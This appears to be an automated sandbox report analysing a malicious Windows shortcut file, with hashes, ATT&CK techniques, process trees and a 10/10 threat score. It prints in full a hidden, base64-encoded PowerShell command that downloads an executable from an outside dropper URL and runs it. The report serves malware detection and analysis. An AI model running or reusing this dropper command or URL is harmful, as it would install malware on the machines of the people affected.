e8efd9ac56eb6ec024fbbe807d2f54cc948df8e155d207295e2247fd7e772fef

General

Target

2c9084197915b9262bff92ade6f45c54_JaffaCakes118.lnk
Size

3KB
MD5

2c9084197915b9262bff92ade6f45c54
SHA1

2892e70f508dfe06a9815170fc7973e9e2ef51c7
SHA256

e8efd9ac56eb6ec024fbbe807d2f54cc948df8e155d207295e2247fd7e772fef
SHA512

415ac4f818ee8780fcf71d7318d621598b92b78113f3c65e2e2cb9a2f910ebfc80e6ecf5658406eb58bea0ca1c483ed8bc9aa2433c50d38825087eedfe18b51a

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://agenziapetra.com/img/md2.php

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
6	1664	powershell.exe
7	1664	powershell.exe
12	1664	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1664	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1664	powershell.exe
1664	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1664	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1152 wrote to memory of 2032	1152	cmd.exe	84
PID 1152 wrote to memory of 2032	1152	cmd.exe	84
PID 2032 wrote to memory of 1664	2032	cmd.exe	85
PID 2032 wrote to memory of 1664	2032	cmd.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\2c9084197915b9262bff92ade6f45c54_JaffaCakes118.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1152
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c Powershell.exe -WindowStyle Hidden -enc UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgACAAIAAtAG4AbwBwAHIAbwBmAGkAbABlACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBhAGcAZQBuAHoAaQBhAHAAZQB0AHIAYQAuAGMAbwBtAC8AaQBtAGcALwBtAGQAMgAuAHAAaABwACIALAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwATQBEADEANAA0ADcAMwAyAC4AZQB4AGUAIgApADsATgBlAHcALQBJAHQAZQBtACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAGEAIgAgAC0AdAB5AHAAZQAgAGYAaQBsAGUAIAAtAGYAbwByAGMAZQAgAC0AdgBhAGwAdQBlACAAIgBGADQAMAA2AEQANgAwADEAMABEADAARAAwADkARAAzAEMAOABDADgARgBBADAAMABGAEUAMAA3ADEAMwAwADIARgBBADAAOQBGAEUAMABEADAAQgBGAEEAQwA3AEYAQwAwADgAMAA2AEMAOAAwADIAMAA2ADAAMABDADgARgBDADEAMQAwADkAMQAxADAAMgAwADYAQwA3ADAAOQAwADEAMAA5AEQANgAwADYARgA2AEYANABGAEEARAA2AEMAQQBEADYARgBBAEYANgBCADkARgA0AEYARABEADYARQA5AEQARQBFADIARgAxAEUAMgBFADYARAA2AEYARABGADYARgA0ADAARABEADYARABDAEYAMQBDADYARQAyAEUANwBEAEYARABFAEQAQwBFAEQAQwA5AEMAQQBEADYAMABEAEYANgAiADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAEQAMQA0ADQANwAzADIALgBlAHgAZQA7AA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -WindowStyle Hidden -enc UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgACAAIAAtAG4AbwBwAHIAbwBmAGkAbABlACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBhAGcAZQBuAHoAaQBhAHAAZQB0AHIAYQAuAGMAbwBtAC8AaQBtAGcALwBtAGQAMgAuAHAAaABwACIALAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwATQBEADEANAA0ADcAMwAyAC4AZQB4AGUAIgApADsATgBlAHcALQBJAHQAZQBtACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAGEAIgAgAC0AdAB5AHAAZQAgAGYAaQBsAGUAIAAtAGYAbwByAGMAZQAgAC0AdgBhAGwAdQBlACAAIgBGADQAMAA2AEQANgAwADEAMABEADAARAAwADkARAAzAEMAOABDADgARgBBADAAMABGAEUAMAA3ADEAMwAwADIARgBBADAAOQBGAEUAMABEADAAQgBGAEEAQwA3AEYAQwAwADgAMAA2AEMAOAAwADIAMAA2ADAAMABDADgARgBDADEAMQAwADkAMQAxADAAMgAwADYAQwA3ADAAOQAwADEAMAA5AEQANgAwADYARgA2AEYANABGAEEARAA2AEMAQQBEADYARgBBAEYANgBCADkARgA0AEYARABEADYARQA5AEQARQBFADIARgAxAEUAMgBFADYARAA2AEYARABGADYARgA0ADAARABEADYARABDAEYAMQBDADYARQAyAEUANwBEAEYARABFAEQAQwBFAEQAQwA5AEMAQQBEADYAMABEAEYANgAiADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAEQAMQA0ADQANwAzADIALgBlAHgAZQA7AA==
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c0ppbb15.wc4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1664-0-0x00007FFF07973000-0x00007FFF07975000-memory.dmp

Filesize
8KB

Download
memory/1664-1-0x00000281E1C50000-0x00000281E1C72000-memory.dmp

Filesize
136KB

Download
memory/1664-11-0x00007FFF07970000-0x00007FFF08431000-memory.dmp

Filesize
10.8MB

Download
memory/1664-12-0x00007FFF07970000-0x00007FFF08431000-memory.dmp

Filesize
10.8MB

Download
memory/1664-13-0x00007FFF07970000-0x00007FFF08431000-memory.dmp

Filesize
10.8MB

Download
memory/1664-14-0x00007FFF07970000-0x00007FFF08431000-memory.dmp

Filesize
10.8MB

Download
memory/1664-18-0x00007FFF07970000-0x00007FFF08431000-memory.dmp

Filesize
10.8MB

Download

Analysis

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